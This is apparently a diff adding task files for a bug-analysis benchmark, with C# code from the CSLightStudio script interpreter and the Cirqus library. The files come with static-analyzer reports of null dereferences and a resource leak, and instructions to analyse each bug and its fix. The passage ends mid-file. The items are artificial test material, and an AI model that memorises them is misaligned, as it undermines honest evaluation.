+using System.Collections.Generic;
+using System.Text;
+namespace CSLE
+{
+    public partial class CLS_Expression_Compiler : ICLS_Expression_Compiler
+    {
+
+        public ICLS_Expression Compiler_Expression_Math(IList<Token> tlist, ICLS_Environment content, int pos, int posend)
+        {
+            IList<int> sps = SplitExpressionWithOp(tlist, pos, posend);
+            int oppos = GetLowestMathOp(tlist, sps);
+            if (oppos < 0)
+            {
+                ////也有可能是类型转换
+                //if (posend >= pos + 3 && tlist[pos].text == "(" && tlist[pos].type == TokenType.PUNCTUATION && tlist[pos + 2].text == ")" && tlist[pos + 2].type == TokenType.PUNCTUATION
+                //    && tlist[pos + 1].type == TokenType.TYPE
+                //    )
+                //{
+                //    ICLS_Expression v;
+                //    bool succ = Compiler_Expression(tlist, content, pos + 3, posend, out v);
+                //    CLS_Expression_TypeConvert convert = new CLS_Expression_TypeConvert();
+                //    convert.listParam.Add(v);
+                //    convert.targettype = content.environment.GetTypeByKeyword(tlist[pos + 1].text).type;
+
+
+                //    return convert;
+                //}
+                //else if (tlist[pos + 1].type == TokenType.PUNCTUATION && tlist[pos + 1].text == "[")//函数表达式
+                //{
+                //    return Compiler_Expression_IndexFind(tlist, content, pos, posend);
+                //}
+                if (tlist[pos + 1].type == TokenType.PUNCTUATION && tlist[pos + 1].text == "(")//函数表达式
+                {
+                    return Compiler_Expression_Function(tlist, content, pos, posend);
+                }
+                else
+                {
+                    //if (!bTest && tlist[expbegin + 1].type == TokenType.PUNCTUATION && tlist[expbegin + 1].text == "(")//函数表达式
+                    //{
+                    //    ICLS_Expression subvalue = Compiler_Expression_Function(tlist,content, expbegin, expend);
+                    //    if (null == subvalue) return false;
+                    //    else
+                    //        values.Add(subvalue);
+                    //    bTest = true;
+                    //}
+                    return null;
+                }
+
+            }
+            else if (tlist[oppos].text == "=>")
+            {//lambda
+                return Compiler_Expression_Lambda(tlist, content, pos, posend);
+            }
+            else if (tlist[oppos].text == "." && pos == oppos - 1 && tlist[pos].type == TokenType.TYPE)
+            {
+
+
+                int right = oppos + 1;
+                int rightend = posend;
+
+                ICLS_Expression valueright;
+                bool succ2 = Compiler_Expression(tlist, content, right, rightend, out valueright);
+                if (succ2)
+                {
+
+
+
+                    CLS_Expression_GetValue vg = valueright as CLS_Expression_GetValue;
+                    CLS_Expression_Function vf = valueright as CLS_Expression_Function;
+                    if (vg != null)
+                    {
+                        CLS_Expression_StaticFind value = new CLS_Expression_StaticFind(pos, rightend, tlist[pos].line, tlist[rightend].line);
+                        value.staticmembername = vg.value_name;
+                        value.type = content.GetTypeByKeyword(tlist[pos].text);
+                        return value;
+                    }
+                    else if (vf != null)
+                    {
+                        CLS_Expression_StaticFunction value = new CLS_Expression_StaticFunction(pos, rightend, tlist[pos].line, tlist[rightend].line);
+                        value.functionName = vf.funcname;
+                        value.type = content.GetTypeByKeyword(tlist[pos].text);
+                        //value.listParam.Add(valueleft);
+                        value.listParam.AddRange(vf.listParam.ToArray());
+                        return value;
+                    }
+                    else if (valueright is CLS_Expression_SelfOp)
+                    {
+                        CLS_Expression_SelfOp vr = valueright as CLS_Expression_SelfOp;
+
+                        CLS_Expression_StaticMath value = new CLS_Expression_StaticMath(pos, rightend, tlist[pos].line, tlist[rightend].line);
+                        value.type = content.GetTypeByKeyword(tlist[pos].text);
+                        value.staticmembername = vr.value_name;
+                        value.mathop = vr.mathop;
+                        return value;
+                    }
+
+                    else
+                    {
+                        throw new Exception("不可识别的表达式");
+                    }
+
+                }
+                else
+                {
+                    throw new Exception("不可识别的表达式");
+                }
+            }
+            else
+            {
+                int left = pos;
+                int leftend = oppos - 1;
+                int right = oppos + 1;
+                int rightend = posend;
+                if (tlist[oppos].text == "(")
+                {
+                    ICLS_Expression v;
+                    bool succ = Compiler_Expression(tlist, content, oppos + 3, posend, out v);
+                    CLS_Expression_TypeConvert convert = new CLS_Expression_TypeConvert(pos, posend, tlist[pos].line, tlist[posend].line);
+                    convert.listParam.Add(v);
+                    convert.targettype = content.GetTypeByKeyword(tlist[oppos + 1].text).type;
+
+
+                    return convert;
+                }
+                ICLS_Expression valueleft;
+                bool succ1 = Compiler_Expression(tlist, content, left, leftend, out valueleft);
+                ICLS_Expression valueright;
+                if (tlist[oppos].text == "[")
+                {
+                    rightend--;
+                    bool succs = Compiler_Expression(tlist, content, right, rightend, out valueright);
+                    CLS_Expression_IndexFind value = new CLS_Expression_IndexFind(left, rightend, tlist[left].line, tlist[rightend].line);
+                    value.listParam.Add(valueleft);
+                    value.listParam.Add(valueright);
+                    return value;
+                }
+                else if (tlist[oppos].text == "as")
+                {
+                    CLS_Expression_TypeConvert convert = new CLS_Expression_TypeConvert(left, oppos + 1, tlist[left].line, tlist[oppos + 1].line);
+                    convert.listParam.Add(valueleft);
+                    convert.targettype = content.GetTypeByKeyword(tlist[oppos + 1].text).type;
+
+
+                    return convert;
+                }
+                bool succ2 = Compiler_Expression(tlist, content, right, rightend, out valueright);
+                if (succ1 && succ2 && valueright != null && valueleft != null)
+                {
+                    if (tlist[oppos].text == "=")
+                    {
+                        //member set
+
+                        CLS_Expression_MemberFind mfinde = valueleft as CLS_Expression_MemberFind;
+                        CLS_Expression_StaticFind sfinde = valueleft as CLS_Expression_StaticFind;
+                        CLS_Expression_IndexFind ifinde = valueleft as CLS_Expression_IndexFind;
+                        if (mfinde != null)
+                        {
+                            CLS_Expression_MemberSetValue value = new CLS_Expression_MemberSetValue(left, rightend, tlist[left].line, tlist[rightend].line);
+                            value.membername = mfinde.membername;
+                            value.listParam.Add(mfinde.listParam[0]);
+                            value.listParam.Add(valueright);
+                            return value;
+                        }
+                        else if (sfinde != null)
+                        {
+                            CLS_Expression_StaticSetValue value = new CLS_Expression_StaticSetValue(left, rightend, tlist[left].line, tlist[rightend].line);
+                            value.staticmembername = sfinde.staticmembername;
+                            value.type = sfinde.type;
+                            //value.listParam.Add(mfinde.listParam[0]);
+                            value.listParam.Add(valueright);
+                            return value;
+                        }
+                        else if (ifinde != null)
+                        {
+                            CLS_Expression_IndexSetValue value = new CLS_Expression_IndexSetValue(left, rightend, tlist[left].line, tlist[rightend].line);
+                            value.listParam.Add(ifinde.listParam[0]);
+                            value.listParam.Add(ifinde.listParam[1]);
+                            value.listParam.Add(valueright);
+                            return value;
+                        }
+                        else
+                        {
+                            throw new Exception("非法的Member Set表达式" + valueleft);
+                        }
+
+
+
+
+                    }
+                    else if (tlist[oppos].text == ".")
+                    {
+                        //FindMember
+
+                        CLS_Expression_GetValue vg = valueright as CLS_Expression_GetValue;
+                        CLS_Expression_Function vf = valueright as CLS_Expression_Function;
+
+                        if (vg != null)
+                        {
+                            CLS_Expression_MemberFind value = new CLS_Expression_MemberFind(left, rightend, tlist[left].line, tlist[rightend].line);
+                            value.listParam.Add(valueleft);
+                            value.membername = vg.value_name;
+                            return value;
+                        }
+                        else if (vf != null)
+                        {
+                            CLS_Expression_MemberFunction value = new CLS_Expression_MemberFunction(left, rightend, tlist[left].line, tlist[rightend].line);
+                            value.functionName = vf.funcname;
+                            value.listParam.Add(valueleft);
+                            value.listParam.AddRange(vf.listParam.ToArray());
+                            return value;
+                        }
+
+                        else if (valueright is CLS_Expression_SelfOp)
+                        {
+                            CLS_Expression_SelfOp vr = valueright as CLS_Expression_SelfOp;
+
+                            CLS_Expression_MemberMath value = new CLS_Expression_MemberMath(left, rightend, tlist[left].line, tlist[rightend].line);
+                            value.listParam.Add(valueleft);
+                            value.membername = vr.value_name;
+                            value.mathop = vr.mathop;
+                            return value;
+                        }
+
+
+
+                        throw new Exception("不可识别的表达式" + valueleft + "." + valueright);
+                        //value.listParam.Add(valueright);
+
+
+
+                    }
+                    else if (tlist[oppos].text == "+=" || tlist[oppos].text == "-=" || tlist[oppos].text == "*=" || tlist[oppos].text == "/=" || tlist[oppos].text == "%=")
+                    {
+
+                        //if (valueleft is CLS_Expression_MemberFind)
+                        //{
+                        //    CLS_Expression_MemberFind vf = valueleft as CLS_Expression_MemberFind;
+                        //    CLS_Expression_MemberMath value = new CLS_Expression_MemberMath(left, rightend, tlist[left].line, tlist[rightend].line);
+                        //    value.listParam.Add(vf.listParam[0]);
+                        //    value.membername = vf.membername;
+                        //    value.mathop = tlist[oppos].text[0];
+                        //    value.listParam.Add(valueright);
+                        //    return value;
+                        //}
+                        //if ((valueright is CLS_Expression_Lambda ==false) && valueleft is CLS_Expression_StaticFind)
+                        //{
+                        //    CLS_Expression_StaticFind vf = valueleft as CLS_Expression_StaticFind;
+                        //    CLS_Expression_StaticMath value = new CLS_Expression_StaticMath(left, rightend, tlist[left].line, tlist[rightend].line);
+                        //    value.type = vf.type;
+                        //    value.staticmembername = vf.staticmembername;
+                        //    value.mathop = tlist[oppos].text[0];
+                        //    value.listParam.Add(valueright);
+                        //    return value;
+                        //}
+                        //else
+                        {
+                            CLS_Expression_SelfOpWithValue value = new CLS_Expression_SelfOpWithValue(left, rightend, tlist[left].line, tlist[rightend].line);
+                            //value.value_name = ((CLS_Expression_GetValue)valueleft).value_name;
+                            value.listParam.Add(valueleft);
+                            value.listParam.Add(valueright);
+                            value.mathop = tlist[oppos].text[0];
+                            return value;
+                        }
+                    }
+                    else if (tlist[oppos].text == "&&" || tlist[oppos].text == "||")
+                    {
+                        CLS_Expression_Math2ValueAndOr value = new CLS_Expression_Math2ValueAndOr(left, rightend, tlist[left].line, tlist[rightend].line);
+                        value.listParam.Add(valueleft);
+                        value.listParam.Add(valueright);
+                        value.mathop = tlist[oppos].text[0];
+                        return value;
+                    }
+                    else if (tlist[oppos].text == ">" || tlist[oppos].text == ">=" || tlist[oppos].text == "<" || tlist[oppos].text == "<=" || tlist[oppos].text == "==" || tlist[oppos].text == "!=")
+                    {
+                        CLS_Expression_Math2ValueLogic value = new CLS_Expression_Math2ValueLogic(left, rightend, tlist[left].line, tlist[rightend].line);
+                        value.listParam.Add(valueleft);
+                        value.listParam.Add(valueright);
+                        logictoken token = logictoken.not_equal;
+                        if (tlist[oppos].text == ">")
+                        {
+                            token = logictoken.more;
+                        }
+                        else if (tlist[oppos].text == ">=")
+                        {
+                            token = logictoken.more_equal;
+                        }
+                        else if (tlist[oppos].text == "<")
+                        {
+                            token = logictoken.less;
+                        }
+                        else if (tlist[oppos].text == "<=")
+                        {
+                            token = logictoken.less_equal;
+                        }
+                        else if (tlist[oppos].text == "==")
+                        {
+                            token = logictoken.equal;
+                        }
+                        else if (tlist[oppos].text == "!=")
+                        {
+                            token = logictoken.not_equal;
+                        }
+                        value.mathop = token;
+                        return value;
+                    }
+                    else
+                    {
+                        char mathop = tlist[oppos].text[0];
+                        if (mathop == '?')
+                        {
+                            CLS_Expression_Math3Value value = new CLS_Expression_Math3Value(left, rightend, tlist[left].line, tlist[rightend].line);
+                            value.listParam.Add(valueleft);
+
+                            CLS_Expression_Math2Value vvright = valueright as CLS_Expression_Math2Value;
+                            if (vvright.mathop != ':')
+                                throw new Exception("三元表达式异常");
+                            value.listParam.Add(vvright.listParam[0]);
+                            value.listParam.Add(vvright.listParam[1]);
+                            return value;
+                        }
+                        else
+                        {
+                            CLS_Expression_Math2Value value = new CLS_Expression_Math2Value(left, rightend, tlist[left].line, tlist[rightend].line);
+                            value.listParam.Add(valueleft);
+                            value.listParam.Add(valueright);
+                            value.mathop = mathop;
+                            return value;
+                        }
+
+                    }
+
+
+                }
+                else
+                {
+                    LogError(tlist, "编译表达式失败", right, rightend);
+                }
+            }
+
+            return null;
+        }
+        public ICLS_Expression Compiler_Expression_MathSelf(IList<Token> tlist, int pos, int posend)
+        {
+            CLS_Expression_SelfOp value = new CLS_Expression_SelfOp(pos, posend, tlist[pos].line, tlist[posend].line);
+            value.value_name = tlist[pos].text;
+            value.mathop = tlist[pos + 1].text[0];
+
+            return value;
+        }
+
+
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `vvright` last assigned on line 315 could be null and is dereferenced at line 316, column 29.
+
+### Severity:
+ERROR
+
+### Procedure:
+ICLS_Expression CLS_Expression_Compiler.Compiler_Expression_Math(IList`1<!0>,ICLS_Environment,Int32,Int32)
+
+### File:
+CSLightStudio/core/CSLightEvil/C#LE/Compitler/CLS_Compiler_04Math.cs
+
+### Key:
+CLS_Compiler_04Math.cs|Compiler_Expression_Math|NULL_DEREFERENCE
+
+### Node Key:
+1ca5f3cb6750b76593061ea065f8fb1b
+
+### Hash:
+0f18d47d4000144106bb55c5dcbf6fd4
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1679/instruction.md b/inferredbugs-1679/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..69f14c5d6d2a01b9f1e2face0535c1b75aa3fad6
--- /dev/null
+++ b/inferredbugs-1679/instruction.md
@@ -0,0 +1,324 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** CSLightStudio
+**Bug ID:** 8
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Data;
+using System.Drawing;
+using System.Text;
+using System.Windows.Forms;
+
+namespace CSEvilTestor
+{
+
+    public partial class Form1 : Form, CSLE.ICLS_Logger
+    {
+        public Form1()
+        {
+            InitializeComponent();
+        }
+        CSLE.CLS_Environment env = null;// 
+        class Item
+        {
+            public string path;
+            public string test;
+            public override string ToString()
+            {
+                return path;
+            }
+        }
+        private void Form1_Load(object sender, EventArgs e)
+        {
+            Debug.Logger = this;
+            //bool useNamespace = false;
+            env = new CSLE.CLS_Environment(this);//如果要启用命名空间，第二个参数要打开
+            TestReg.Reg(env);
+
+            //查找所有脚本文件
+            string[] dirs = System.IO.Directory.GetDirectories("script");
+
+            foreach (var d in dirs)
+            {
+                try
+                {
+                    Item i = new Item();
+                    i.path = d;
+                    i.test = System.IO.File.ReadAllText(d + "/test.txt");
+
+                    listItem.Items.Add(i);
+                }
+                catch (Exception err)
+                {
+
+                }
+            }
+
+
+        }
+
+
+
+        public void Log(string str)
+        {
+            this.listDebug.Items.Add(str);
+        }
+
+        public void Log_Warn(string str)
+        {
+            this.listDebug.Items.Add("<W>" + str);
+        }
+
+        public void Log_Error(string str)
+        {
+            this.listDebug.Items.Add("<E>" + str);
+        }
+
+
+        private void button2_Click(object sender, EventArgs e)
+        {
+            var content = env.CreateContent();//执行任何代码都需要一个上下文
+
+            var type = env.GetTypeByKeyword("ScriptClass"); //获得脚本类型
+            var typeinst = type.function.New(content, null);//调用构造函数产生一个脚本实例
+            var value = type.function.MemberCall(content, typeinst.value, "GetI", null);//调用成员函数
+            this.Log("Run GetI= " + value.type.ToString() + "|" + value.value.ToString());
+        }
+
+
+
+        private void textBox1_TextChanged(object sender, EventArgs e)
+        {
+
+        }
+
+        private void button2_Click_1(object sender, EventArgs e)
+        {
+            listDebug.Items.Clear();
+        }
+
+        private void listItem_SelectedIndexChanged(object sender, EventArgs e)
+        {
+            builded = false;
+            this.Text = "builded=" + builded;
+
+            Item i = listItem.SelectedItem as Item;
+            if (i == null) return;
+            textBox1.Text = i.test;
+        }
+        bool builded = false;
+        public void Build(string path, bool useTry)
+        {
+            if (builded) return;
+
+
+            string[] allfile = System.IO.Directory.GetFiles(path, "*.cs", System.IO.SearchOption.AllDirectories);
+            int succ = 0;
+            Dictionary<string, IList<CSLE.Token>> project = new Dictionary<string, IList<CSLE.Token>>();
+            foreach (var file in allfile)
+            {
+                IList<CSLE.Token> tokens = null;
+                if (useTry)
+                {
+
+                    try
+                    {
+                        tokens = env.ParserToken(System.IO.File.ReadAllText(file));
+
+                    }
+                    catch (Exception err)
+                    {
+                        this.Log_Error("ErrInFile:" + file);
+                        MessageBox.Show(err.ToString());
+                        continue;
+                    }
+                }
+                else
+                {
+                    tokens = env.ParserToken(System.IO.File.ReadAllText(file));
+                }
+
+                project[file] = tokens;
+                succ++;
+            }
+            Log("file parse:" + succ + "/" + allfile.Length);
+            if (succ == allfile.Length)
+            {
+                if (useTry)
+                {
+                    try
+                    {
+                        env.Project_Compiler(project, true);
+                    }
+                    catch (Exception err)
+                    {
+
+                        MessageBox.Show(err.ToString());
+                    }
+                }
+                else
+                {
+                    env.Project_Compiler(project, true);
+                }
+            }
+            builded = true;
+            Log("build OK.");
+            this.Text = "builded=" + builded;
+        }
+
+        void Run(string code, bool useTry)
+        {
+            if (!builded)
+            {
+                Log_Error("Build 失败无法运行");
+            }
+
+
+
+            CSLE.CLS_Content content = env.CreateContent();//创建一个上下文，出错以后可以用此上下文捕获信息
+            if (useTry)
+            {
+                try
+                {
+                    __Run(code, content);
+                }
+                catch (Exception err)
+                {
+                    string errValue = content.DumpValue();
+                    string errStack = content.DumpStack(null);
+                    string errSystem = "SystemError:\n" + err.ToString();
+
+                    MessageBox.Show(errValue + errStack + errSystem);
+                }
+            }
+            else
+            {
+                __Run(code, content);
+            }
+        }
+
+        private void __Run(string code, CSLE.CLS_Content content)
+        {
+            var tokens = env.tokenParser.Parse(code);
+            var expr = env.Expr_CompilerToken(tokens);
+            env.Expr_Execute(expr, content);
+        }
+        private void button3_Click(object sender, EventArgs e)
+        {//Build Only
+            Item i = listItem.SelectedItem as Item;
+            if (i == null) return;
+            Build(i.path, true);
+        }
+
+        private void button1_Click(object sender, EventArgs e)
+        {//Build &Run
+            Item i = listItem.SelectedItem as Item;
+            if (i == null) return;
+            Build(i.path, true);
+            Run(i.test, true);
+        }
+        private void button4_Click(object sender, EventArgs e)
+        {
+            Item i = listItem.SelectedItem as Item;
+            if (i == null) return;
+            Build(i.path, false);
+            Run(i.test, false);
+        }
+
+        private void flowLayoutPanel2_Paint(object sender, PaintEventArgs e)
+        {
+
+        }
+
+        private void button5_Click(object sender, EventArgs e)
+        {
+            int succ = 0;
+            for(int i=0;i<listItem.Items.Count;i++)
+            {
+                Item item = listItem.Items[i] as Item;
+                try
+                {
+                    builded = false;
+                    Build(item.path, false);
+                    Run(item.test, false);
+                    Log("Build Succ("+i+"/"+ listItem.Items.Count+")"+ item.path);
+                    succ++;
+                }
+                catch(Exception err)
+                {
+                    Log("Build Fail(" + i + "/" + listItem.Items.Count + ")" + item.path);
+
+                }
+            }
+            Log("Test Result:(" + succ + "/" + listItem.Items.Count + ")");
+        }
+    }
+
+    public class Debug
+    {
+        public static CSLE.ICLS_Logger Logger;
+        public static void Log(string str)
+        {
+            Logger.Log(str);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `item` last assigned on line 235 could be null and is dereferenced at line 239, column 21.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Form1.button5_Click(Object,EventArgs)
+
+### File:
+CSLightStudio/windows/CSEvilTestor/Form1.cs
+
+### Key:
+Form1.cs|button5_Click|NULL_DEREFERENCE
+
+### Node Key:
+1f08dfdd5c3dc7ee55fb0ae5c0923a7b
+
+### Hash:
+85d33eaa2fe99c027fd25c38a40a75de
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1682/instruction.md b/inferredbugs-1682/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..acd82c60288e4875a4e5f72c6a25c558192788e6
--- /dev/null
+++ b/inferredbugs-1682/instruction.md
@@ -0,0 +1,161 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** CSLightStudio
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Text;
+namespace CSLE
+{
+
+    public class CLS_Expression_LoopForEach : ICLS_Expression
+    {
+        public CLS_Expression_LoopForEach(int tbegin, int tend, int lbegin, int lend)
+        {
+            listParam = new List<ICLS_Expression>();
+            tokenBegin = tbegin;
+            tokenEnd = tend;
+            lineBegin = lbegin;
+            lineEnd = lend;
+        }
+        public int lineBegin
+        {
+            get;
+            private set;
+        }
+        public int lineEnd
+        {
+            get;
+            set;
+        }
+        //Block的参数 一个就是一行，顺序执行，没有
+        public List<ICLS_Expression> listParam
+        {
+            get;
+            private set;
+        }
+        public int tokenBegin
+        {
+            get;
+            private set;
+        }
+        public int tokenEnd
+        {
+            get;
+            set;
+        }
+        public CLS_Content.Value ComputeValue(CLS_Content content)
+        {
+            content.InStack(this);
+            content.DepthAdd();
+            CLS_Expression_Define define = listParam[0] as CLS_Expression_Define;
+            if (define == null)
+            {
+
+            }
+            define.ComputeValue(content);
+
+            System.Collections.IEnumerable emu = listParam[1].ComputeValue(content).value as System.Collections.IEnumerable;
+
+            ICLS_Expression expr_block = listParam[2] as ICLS_Expression;
+
+            var it = emu.GetEnumerator();
+            while (it.MoveNext())
+            {
+                content.Set(define.value_name, it.Current);
+
+                if (expr_block != null)
+                {
+                    var v = expr_block.ComputeValue(content);
+                    if (v != null && v.breakBlock > 1) break; ;
+                }
+            }
+            //ICLS_Expression expr_continue = listParam[1] as ICLS_Expression;
+            //ICLS_Expression expr_step = listParam[2] as ICLS_Expression;
+
+            //ICLS_Expression expr_block = listParam[3] as ICLS_Expression;
+
+            //for (;(bool)expr_continue.ComputeValue(content).value; expr_step.ComputeValue(content))
+            //{
+            //    if(expr_block!=null)
+            //    {
+            //        var v = expr_block.ComputeValue(content);
+            //        if (v != null && v.breakBlock > 1) break; ;
+            //        //if (v.breakBlock == 1) continue;
+            //        //if (v.breakBlock == 2) break;
+            //        //if (v.breakBlock == 10) return v;
+            //    }
+            //}
+            content.DepthRemove();
+            content.OutStack(this);
+            return null;
+            //for 逻辑
+            //做数学计算
+            //从上下文取值
+            //_value = null;
+        }
+
+
+        public override string ToString()
+        {
+            return "ForEach|";
+        }
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `define` last assigned on line 47 could be null and is dereferenced at line 52, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+CLS_Content$Value CLS_Expression_LoopForEach.ComputeValue(CLS_Content)
+
+### File:
+CSLightStudio/core/CSLightEvil/C#LE/Expression/Loop/CLS_Expression_LoopForEach.cs
+
+### Key:
+CLS_Expression_LoopForEach.cs|ComputeValue|NULL_DEREFERENCE
+
+### Node Key:
+3654aaa31bf6f5c66d4263b95a3f1706
+
+### Hash:
+8e519536050183389e633a3c60533652
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1684/instruction.md b/inferredbugs-1684/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5a654e557e748b96c312c3fd7f6b15de70d2e1eb
--- /dev/null
+++ b/inferredbugs-1684/instruction.md
@@ -0,0 +1,189 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Cirqus
+**Bug ID:** 9
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Linq;
+using d60.Cirqus.Aggregates;
+using d60.Cirqus.Commands;
+using d60.Cirqus.Config;
+using d60.Cirqus.Events;
+using d60.Cirqus.Testing.Internals;
+using d60.Cirqus.Tests.Stubs;
+using NUnit.Framework;
+
+namespace d60.Cirqus.Tests.Commands
+{
+    [TestFixture]
+    public class TestCustomMetadata : FixtureBase
+    {
+        CommandProcessor _cirqus;
+        DefaultAggregateRootRepository _aggregateRootRepository;
+        InMemoryEventStore _eventStore;
+
+        protected override void DoSetUp()
+        {
+            _eventStore = new InMemoryEventStore();
+
+            _aggregateRootRepository = new DefaultAggregateRootRepository(_eventStore);
+
+            var viewManager = new ConsoleOutEventDispatcher();
+
+            _cirqus = RegisterForDisposal(new CommandProcessor(_eventStore, _aggregateRootRepository, viewManager));
+        }
+
+        [Test]
+        public void CopiesCustomHeadersToEmittedEvents()
+        {
+            var programmer1Id = Guid.NewGuid();
+            var programmer2Id = Guid.NewGuid();
+            var programmer3Id = Guid.NewGuid();
+
+            const string tenantId = "tenant-id";
+
+            _cirqus.ProcessCommand(new TakeNextStepCommand(programmer1Id)
+            {
+                Meta = {{tenantId, "1"}}
+            });
+            
+            _cirqus.ProcessCommand(new TakeNextStepCommand(programmer2Id)
+            {
+                Meta = {{tenantId, "2"}}
+            });
+            
+            _cirqus.ProcessCommand(new TakeNextStepCommand(programmer3Id)
+            {
+                Meta = {{tenantId, "2"}}
+            });
+
+            var allEvents = Enumerable.ToList<DomainEvent>(_eventStore);
+
+            Assert.That(allEvents.Count, Is.EqualTo(3));
+            Assert.That(allEvents.Count(e => int.Parse(e.Meta[tenantId].ToString()) == 1), Is.EqualTo(1));
+            Assert.That(allEvents.Count(e => int.Parse(e.Meta[tenantId].ToString()) == 2), Is.EqualTo(2));
+        }
+
+        public class TakeNextStepCommand : Command<ProgrammerAggregate>
+        {
+            public TakeNextStepCommand(Guid aggregateRootId)
+                : base(aggregateRootId)
+            {
+            }
+
+            public override void Execute(ProgrammerAggregate aggregateRoot)
+            {
+                aggregateRoot.TakeNextStep();
+            }
+        }
+
+        public class ProgrammerAggregate : AggregateRoot, 
+            IEmit<FinishedEducation>,
+            IEmit<LearnedAboutFunctionalProgramming>
+        {
+            enum ProgrammerState
+            {
+                Born,
+                Educated,
+                Knowing
+            }
+
+            ProgrammerState currentState;
+            public string GetCurrentState()
+            {
+                return currentState.ToString();
+            }
+
+            public void TakeNextStep()
+            {
+                switch (currentState)
+                {
+                    case ProgrammerState.Born:
+                        Emit(new FinishedEducation());
+                        break;
+                    case ProgrammerState.Educated:
+                        Emit(new LearnedAboutFunctionalProgramming());
+                        break;
+                    case ProgrammerState.Knowing:
+                        // just keep on knowing
+                        break;
+                    default:
+                        throw new ArgumentOutOfRangeException(string.Format("Unknown current state: {0}", currentState));
+                }
+            }
+
+            public void Apply(FinishedEducation e)
+            {
+                currentState = ProgrammerState.Educated;
+            }
+
+            public void Apply(LearnedAboutFunctionalProgramming e)
+            {
+                currentState = ProgrammerState.Knowing;
+            }
+        }
+
+        public class FinishedEducation : DomainEvent<ProgrammerAggregate>
+        {
+
+        }
+
+        public class LearnedAboutFunctionalProgramming : DomainEvent<ProgrammerAggregate>
+        {
+
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of d60.Cirqus.CommandProcessor::.ctor() at Line 28) of type d60.Cirqus.CommandProcessor in method "Void TestCustomMetadata.DoSetUp()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void TestCustomMetadata.DoSetUp()
+
+### File:
+d60.Cirqus.Tests/Commands/TestCustomMetadata.cs
+
+### Key:
+TestCustomMetadata.cs|DoSetUp|DOTNET_RESOURCE_LEAK
+
+### Hash:
+142c2264003212318e8cf898bc7b10ab
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1685/instruction.md b/inferredbugs-1685/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..257749e219400804d932bf279585489ae2f9c54c
--- /dev/null
+++ b/inferredbugs-1685/instruction.md
@@ -0,0 +1,238 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Cirqus
+**Bug ID:** 11
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Linq;
+using d60.Cirqus.Aggregates;
+using d60.Cirqus.Commands;
+using d60.Cirqus.Events;
+using d60.Cirqus.Exceptions;
+using d60.Cirqus.Serialization;
